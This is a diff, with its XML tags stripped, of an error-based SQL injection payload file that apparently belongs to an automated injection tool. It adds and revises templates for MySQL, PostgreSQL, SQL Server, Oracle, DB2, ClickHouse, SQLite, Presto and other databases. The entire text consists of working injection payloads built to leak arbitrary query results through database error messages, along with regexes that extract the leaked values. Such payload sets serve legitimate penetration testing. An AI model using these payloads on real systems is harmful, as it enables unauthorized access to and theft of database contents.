+ + + + MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 4 1 - 1,2,3 + 1,2,3,8,9 1 - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.0
- - MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED) + MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 4 3 - 1 + 1,2,3,8,9 + 1 - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.0
- MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR) 2 - 2 + 5 + 1 + 7 + 1 + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.0 +
+ + + + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + 2 + 3 + 1 + 1,2,3,8,9 + 1 + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML) + 2 + 3 + 3 + 1,2,3,8,9 + + 1 + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1]) + + + OR UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.1 +
+ + + + MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) + 2 + 5 1 - 1,2,3 + 1,2,3,8,9 1 AND ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -264,11 +407,11 @@ - MySQL >= 4.1 OR error-based - WHERE, HAVING clause + MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 - 2 + 5 3 - 1 + 1,8,9 1 OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x) @@ -289,11 +432,11 @@ - MySQL OR error-based - WHERE or HAVING clause + MySQL OR error-based - WHERE or HAVING clause (FLOOR) 2 - 3 + 5 3 - 1 + 1,8,9 2 OR 1 GROUP BY CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2)) HAVING MIN(0) @@ -313,7 +456,7 @@ 2 1 1 - 1 + 1,8,9 1 AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -332,7 +475,7 @@ 2 1 3 - 1 + 1,8,9 2 OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC) @@ -347,11 +490,51 @@ - Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) 2 1 1 - 1 + 1,8,9 + 1 + AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) + 2 + 2 + 3 + 1,8,9 + 2 + OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + + OR [RANDNUM] IN (SELECT ('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Microsoft SQL Server + Sybase +
+ + + + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT) + 2 + 2 + 1 + 1,8,9 1 AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -363,16 +546,15 @@
Microsoft SQL Server Sybase - Windows
- Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT) 2 - 1 + 3 3 - 1 + 1,8,9 2 OR [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) @@ -384,20 +566,19 @@
Microsoft SQL Server Sybase - Windows
- Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN) + Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT) 2 2 1 - 1 + 1,8,9 1 - AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') - AND [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -405,20 +586,19 @@
Microsoft SQL Server Sybase - Windows
- Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN) + Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT) 2 - 2 + 3 3 - 1 + 1,8,9 2 - OR [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) + OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]') - OR [RANDNUM] IN (('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')) + OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -426,7 +606,6 @@
Microsoft SQL Server Sybase - Windows
@@ -435,7 +614,7 @@ 2 1 1 - 1 + 1,9 1 AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -454,9 +633,9 @@ 2 1 3 - 1 + 1,9 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -471,9 +650,9 @@ Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 1 - 1 + 1,9 1 AND [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -491,9 +670,9 @@ Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS) 2 - 2 + 4 3 - 1 + 1,9 2 OR [RANDNUM]=UTL_INADDR.GET_HOST_ADDRESS('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -513,7 +692,7 @@ 2 3 1 - 1 + 1,9 1 AND [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -532,7 +711,7 @@ 2 3 3 - 1 + 1,9 2 OR [RANDNUM]=CTXSYS.DRITHSX.SN([RANDNUM],'[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -549,9 +728,9 @@ Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 1 - 1 + 1,9 1 AND [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -568,9 +747,9 @@ Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH) 2 - 4 + 2 3 - 1 + 1,9 2 OR [RANDNUM]=DBMS_UTILITY.SQLID_TO_SQLHASH('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -606,7 +785,7 @@ Firebird OR error-based - WHERE or HAVING clause 2 - 3 + 4 3 1 2 @@ -621,17 +800,341 @@ Firebird
- + + + MonetDB AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+ + + + MonetDB OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+ + + + Vertica AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+ + + + Vertica OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 2 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Vertica +
+ + + + IBM DB2 AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1 + 1 + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + IBM DB2 OR error-based - WHERE or HAVING clause + 2 + 4 + 3 + 1 + 1 + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ IBM DB2 +
+ + + + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 3 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + + + + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting) + 2 + 5 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]') + + AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+ + + + H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 1 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+ + + + H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+ + + + Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+ + + + Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 3 + 1,2,3,8,9 + 1 + OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+ + + + SQLite >= 3.9 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON path) + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite + >= 3.9 +
+ + + + SQLite >= 3.9 OR error-based - WHERE or HAVING clause (JSON path) + 2 + 2 + 3 + 1,8,9 + 1 + OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=JSON_EXTRACT('{}','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ SQLite + >= 3.9 +
+ + + + + Presto AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (PARSE_DATA_SIZE) + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]') + + AND [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Presto +
+ + + + Presto OR error-based - WHERE or HAVING clause (PARSE_DATA_SIZE) + 2 + 5 + 3 + 1,8,9 + 1 + OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]') + + OR [RANDNUM]=PARSE_DATA_SIZE('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)) AS VARCHAR)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Presto +
+ + MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE) 2 - 2 + 5 1 1,2,3,4,5 1 @@ -651,118 +1154,158 @@ - MySQL >= 5.0 error-based - Parameter replace + MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) 2 - 1 + 5 1 - 1,2,3 + 1,2,3,9 3 - (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.0 + >= 5.5
- MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) + MySQL >= 5.5 error-based - Parameter replace (EXP) + 2 + 5 + 1 + 1,2,3,9 + 3 + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + + EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+ + + + MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET) 2 3 1 - 1,2,3 + 1,2,3,9 3 - (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) + GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) - - (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) + GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.6
- MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) + MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS) + 2 + 5 + 1 + 1,2,3,9 + 3 + JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))) + + JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.7.8 +
+ + + + MySQL >= 5.0 error-based - Parameter replace (FLOOR) 2 4 1 - 1,2,3 + 1,2,3,9 3 - (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.0
- MySQL >= 5.5 error-based - Parameter replace (EXP) + MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) 2 - 5 + 4 1 - 1,2,3 + 1,2,3,9 3 - EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])) - EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + (UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
- MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) + MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE) 2 - 5 + 2 1 - 1,2,3 + 1,2,3,9 3 - (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))) - (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + (EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
@@ -771,7 +1314,7 @@ 2 2 1 - 1,2,3 + 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) @@ -790,7 +1333,7 @@ 2 5 1 - 1,2,3 + 1,2,3,9 3 (CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC)) @@ -821,7 +1364,6 @@
Microsoft SQL Server Sybase - Windows
@@ -842,7 +1384,6 @@
Microsoft SQL Server Sybase - Windows
